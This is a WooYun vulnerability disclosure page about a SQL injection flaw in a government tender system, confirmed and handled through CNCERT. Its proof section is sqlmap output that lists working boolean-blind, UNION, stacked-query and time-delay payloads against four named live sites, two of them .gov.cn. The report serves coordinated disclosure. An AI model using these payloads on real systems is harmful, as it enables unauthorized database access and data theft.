当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091576

漏洞标题:某政府招标系统通用sql注入

相关厂商:杭州腾升网络科技有限公司

漏洞作者: 路人甲

提交时间:2015-01-15 15:34

修复时间:2015-04-15 15:36

公开时间:2015-04-15 15:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-20: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向第三方安全合作伙伴开放
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-15: 细节向公众公开

简要描述:

RT.

详细说明:

更多案例见:

 WooYun: 某政府在用系统存在一处SQL注入 


漏洞证明:

http://122.226.154.126/TSPB/web/news/Content.jsp?infoId=32BFB3F2528CC5259F63B5999F0A6040


Place: GET
Parameter: infoId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=32BFB3F2528CC5259F63B5999F0A6040' AND 4842=4842 AND 'LNjH'='
LNjH
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: infoId=-1757' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CHAR(58)+CHAR(111)+CHAR(11
4)+CHAR(108)+CHAR(58)+CHAR(103)+CHAR(65)+CHAR(113)+CHAR(121)+CHAR(85)+CHAR(119)+
CHAR(66)+CHAR(121)+CHAR(70)+CHAR(86)+CHAR(58)+CHAR(98)+CHAR(103)+CHAR(111)+CHAR(
58), NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoId=32BFB3F2528CC5259F63B5999F0A6040'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoId=32BFB3F2528CC5259F63B5999F0A6040' WAITFOR DELAY '0:0:5'--
---
[11:12:16] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[11:12:16] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[11:12:16] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\122.226.154.126'


http://www.jxedzsp.gov.cn/jxkfqglxt/web/news/news_content.jsp?infoId=322D598F0CC074C86168F267CC52E7C2


Place: GET
Parameter: infoId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=322D598F0CC074C86168F267CC52E7C2' AND 7517=7517 AND 'qrUn'='
qrUn
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: infoId=-4921' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(109)+CHAR(
107)+CHAR(101)+CHAR(58)+CHAR(75)+CHAR(116)+CHAR(67)+CHAR(119)+CHAR(103)+CHAR(98)
+CHAR(79)+CHAR(81)+CHAR(110)+CHAR(66)+CHAR(58)+CHAR(107)+CHAR(100)+CHAR(98)+CHAR
(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NU
LL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoId=322D598F0CC074C86168F267CC52E7C2'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoId=322D598F0CC074C86168F267CC52E7C2' WAITFOR DELAY '0:0:5'--
---
[11:12:43] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[11:12:43] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[11:12:43] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.jxedzsp.gov.cn'


http://www.jsspzx.gov.cn/JsWeb/news/ShowContent.jsp?infoId=702F5D5E80A73655DD764BD944C0864F


Place: GET
Parameter: infoId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=702F5D5E80A73655DD764BD944C0864F' AND 3292=3292 AND 'IjkI'='
IjkI
Type: UNION query
Title: Generic UNION query (NULL) - 22 columns
Payload: infoId=-9603' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(101)+CHAR(
114)+CHAR(120)+CHAR(58)+CHAR(77)+CHAR(73)+CHAR(104)+CHAR(79)+CHAR(112)+CHAR(71)+
CHAR(87)+CHAR(84)+CHAR(99)+CHAR(69)+CHAR(58)+CHAR(114)+CHAR(97)+CHAR(100)+CHAR(5
8), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoId=702F5D5E80A73655DD764BD944C0864F'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoId=702F5D5E80A73655DD764BD944C0864F' WAITFOR DELAY '0:0:5'--
---
[11:13:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, JSP
back-end DBMS: Microsoft SQL Server 2000
[11:13:03] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[11:13:03] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.jsspzx.gov.cn'


http://www.smztb.com.cn/TSPB/web/news/Content.jsp?infoId=43823D93173D2958A7425FA6E0810E42&PUBTYPE=8


Place: GET
Parameter: infoId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoId=43823D93173D2958A7425FA6E0810E42' AND 2687=2687 AND 'AtgX'='
AtgX
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: infoId=-3767' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(115)+CHAR(
98)+CHAR(99)+CHAR(58)+CHAR(116)+CHAR(112)+CHAR(97)+CHAR(111)+CHAR(106)+CHAR(69)+
CHAR(88)+CHAR(107)+CHAR(120)+CHAR(117)+CHAR(58)+CHAR(103)+CHAR(104)+CHAR(104)+CH
AR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoId=43823D93173D2958A7425FA6E0810E42'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoId=43823D93173D2958A7425FA6E0810E42' WAITFOR DELAY '0:0:5'--
---
[11:13:33] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[11:13:33] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[11:13:33] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.smztb.com.cn'

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-01-20 13:48

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给浙江分中心,由浙江分中心后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-16 12:09 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    ...

  2. 2015-04-16 12:10 | 吹皱一池春水 ( 路人 | Rank:2 漏洞数:2 | 岁月是把杀猪刀)

    ....